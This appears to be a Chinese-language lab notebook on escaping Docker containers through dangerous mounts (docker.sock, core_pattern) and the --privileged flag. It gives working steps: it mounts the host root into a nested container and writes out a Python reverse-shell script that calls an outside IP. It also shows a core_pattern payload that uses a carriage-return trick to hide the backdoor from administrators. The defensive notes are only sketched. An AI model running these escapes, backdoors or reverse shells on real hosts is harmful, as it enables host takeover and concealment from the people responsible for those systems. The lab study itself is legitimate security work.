危险挂载导致Docker 逃逸

docker.sock

容器1 root@6c010b68eace:
容器1中再创建一个容器2
image.png
查看/var/run/docker.sock权限
image.png
更改权限
image.png

在《第一本docker书》中有介绍到 在docker里面root文件系统永远只能是只读状态

后面换个docker版本再尝试下,试了好久原来是centos上面就会报这个错,换成kali就不会报错
,难受难受 后续尝试一下kali开centos镜像
image.png
Ubuntu下重新做一遍

1. 创建容器并且挂载/var/run/docker.sock

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash
查看是否存在docker.sock

  1. ls -al /var/run/docker.sock
  2. srw-rw---- 1 root 998 0 Apr 15 01:31 /var/run/docker.sock
  3. find / -name docker.sock
  4. /run/docker.sock
  5. cat /proc/mounts|grep "docker.sock"
  6. tmpfs /run/docker.sock tmpfs rw,nosuid,nodev,noexec,relatime,size=400080k,mode=755 0 0

2. docker in docker

先给容器中的Ubuntu换源
查看容器中的Ubuntu版本:

  1. root@ad3965669fbd:/# cat /etc/issue
  2. Ubuntu 20.04.2 LTS \n \l

跟换成阿里云的

  1. echo "\
  2. deb http://mirrors.aliyun.com/ubuntu/ focal main restricted
  3. deb http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted
  4. deb http://mirrors.aliyun.com/ubuntu/ focal universe
  5. deb http://mirrors.aliyun.com/ubuntu/ focal-updates universe
  6. deb http://mirrors.aliyun.com/ubuntu/ focal multiverse
  7. deb http://mirrors.aliyun.com/ubuntu/ focal-updates multiverse
  8. deb http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse
  9. deb http://mirrors.aliyun.com/ubuntu/ focal-security main restricted
  10. deb http://mirrors.aliyun.com/ubuntu/ focal-security universe
  11. deb http://mirrors.aliyun.com/ubuntu/ focal-security multiverse">/etc/apt/sources.list

安装docker

  1. root@ad3965669fbd:/# apt update
  2. root@ad3965669fbd:/# apt install docker.io

3. container in container

将宿主机的主目录挂载在容器adc5d7d80d5f中的/host

  1. root@ad3965669fbd:/# docker run -it -v /:/host ubuntu /bin/bash
  2. root@adc5d7d80d5f:/#

反弹shell到kali上面
image.png
image.png

从防守方的角度(先留坑,有时间来填)

docker diff [c_name]
image.png

进程分析

正常下的进程
image.png
在容器中新建容器中进程
image.png

procfs

挂载宿主机/proc/sys/kernel/core_pattern到容器/host/proc/sys/kernel/core_pattern

  1. docker run -it --name test_procfs -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

更新工具
apt-get update
apt-get install vim
apt-get install gcc
apt-get install python

如果core_pattern 中第一个字符是 Linux管道符 |, 那么Linux 内核在捕获进程崩溃信息的时候,就会以root权限执行管道符后门的程序或者脚本,将进程崩溃信息传递给这个程序或者脚本,这就给我们提供了一个隐藏系统后门的方法,我们可以在管道符后面隐藏我们的后门脚本,以实现在特定条件下反弹shell

  1. root@435621c8aa7d:/# echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
  2. root@435621c8aa7d:/# cat /host/proc/sys/kernel/core_pattern
  3. core
  4. ## payload中使用空格加\r的方式,巧妙覆盖掉了真正的|/tmp/.x.py,
  5. ## 即使管理员通过cat /proc/sys/kernel/core_pattern的方式查看,也只能看到core;

image.png<br />crash.c

  1. #include <stdio.h>
  2. int main(void)
  3. {
  4. int *a = NULL;
  5. *a = 1;
  6. return 0;
  7. }

gcc -o crash crash.c

/tmp/.x.py

  1. #!/usr/bin/env python
  2. # --coding:utf-8 --
  3. import os
  4. import pty
  5. import socket
  6. lhost = "192.168.201.128"
  7. lport = 10000
  8. def main():
  9. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10. s.connect((lhost, lport))
  11. os.dup2(s.fileno(), 0)
  12. os.dup2(s.fileno(), 1)
  13. os.dup2(s.fileno(), 2)
  14. os.putenv("HISTFILE", '/dev/null')
  15. pty.spawn("/bin/bash")
  16. #os.remove('/tmp/.x.py')
  17. s.close()
  18. if __name__ == "__main__":
  19. main()

os.remove(‘/tmp/.x.py’)在反弹shell的过程中删掉了用来反弹shell的程序自身

image.png
结果并没有成功反弹,原因是因为Linux转储机制对/proc/sys/kernel/core_pattern内程序的查找是在宿主机文件系统进行的,而我们的/tmp/.x.py是容器内路径。诚然,我们能够通过再挂载一个宿主机/tmp来达到目的,但这样的场景过于刻意,不够真实。
image.png

  1. root@0d7bdea901d5:/# cat /proc/mounts | grep docker
  2. overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/E6P4MCH7YOQ6OUHFRAWXJGCT2E:/var/lib/docker/overlay2/l/SRP2UQ22BZ3OP4CLF7BTUKODBT:/var/lib/docker/overlay2/l/G4GVVPMHG5OVNGOP4E6VFZBJQD:/var/lib/docker/overlay2/l/2UUEFSAUX6VI34VJJCISOW3MPK:/var/lib/docker/overlay2/l/64QV3WQ5P66MHHA75SXQQE4AMK,upperdir=/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/diff,workdir=/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/work 0 0

获取当前容器在宿主机上的绝对路径

  1. workdir=/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/work
  2. 那么结合背景知识,我们可以得知当前容器在宿主机上的绝对路径是
  3. /var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/merged
  1. echo -e "|/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
  1. cat /host/proc/sys/kernel/core_pattern
  2. core verlay2/155c8884b1370a6614f30ac38b527de607aa5126b19954f7cb21aedcc2b55471/merged/tmp/.x.py
  1. echo -e "|/var/lib/docker/overlay2/0553f036970a0d434843c4dace11b0b88e7cdcc5aebef15891ad4e5782a98547/merged/tmp/.x.py \rcore " >/host/proc/sys/kernel/core_pattern

image.png
还是没有shell
这边没有其他文章中的Segmentation fault (core dumped) 是没有生成core?留个坑

现在先用个上面很假的办法就是挂载/tmp

可以在配置文件中更改
我先重新创建一个容器

  1. > --name test_tmp \
  2. > -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern \
  3. > -v /tmp/:/tmp/ \
  4. ubuntu

特殊配置

—privileged

启动Docker容器。使用此参数时,容器可以完全访问所有设备,并且不受seccomp,AppArmor和Linux capabilities的限制

  1. docker run --rm -it --privileged ubuntu /bin/bash
  2. 查看磁盘文件: fdisk -l
  3. 新建目录以备挂载: mkdir /aa
  4. 将宿主机/dev/sda1目录挂载至容器内 /aa: mount /dev/sda1 /aa
  5. 即可写文件获取权限或数据

image.png

/dev/sda1挂载到容器中了,但是 /dev/sda2会报错

image.png
正常本机挂载也会出这个问题
解决问题 :直接挂载。但是是用逻辑卷的名称挂载
1、用以下命令,查看服务器物理分区,逻辑卷的信息
fdisk -l
(前面是物理分区,后面是逻辑卷信息)
2、用以下命令查看逻辑卷的具体信息
lvdisplay
3、用以下命令将逻辑卷(如:逻辑卷的名称为:/dev/centos/root ,即在第2步中看到的LV Name)挂载在目录(如:/mnt/asd2)下。
sudo mount /dev/centos/root /mnt/asd2
image.png
容器还是挂载不了 怀疑是Ubuntu中没有这个分区格式(留坑)
image.png
文件只读挂载

  1. $ docker run --rm -ti ubuntu /bin/bash
  2. echo "hello" >/home/test.txt
  3. cat /home/test.txt
  4. $ docker run --rm -ti --read-only ubuntu bash
  5. echo "hello" >/home/test.txt
  6. # 返回结果:bash:/home/test.txt:Read-only file system

参考链接:

https://paper.seebug.org/1288/
https://xz.aliyun.com/t/8558?accounttraceid=ea6ad14a1360428a91a8badc0e31831enaqt#toc-4
https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ
https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/
https://wohin.me/rong-qi-tao-yi-gong-fang-xi-lie-yi-tao-yi-ji-zhu-gai-lan/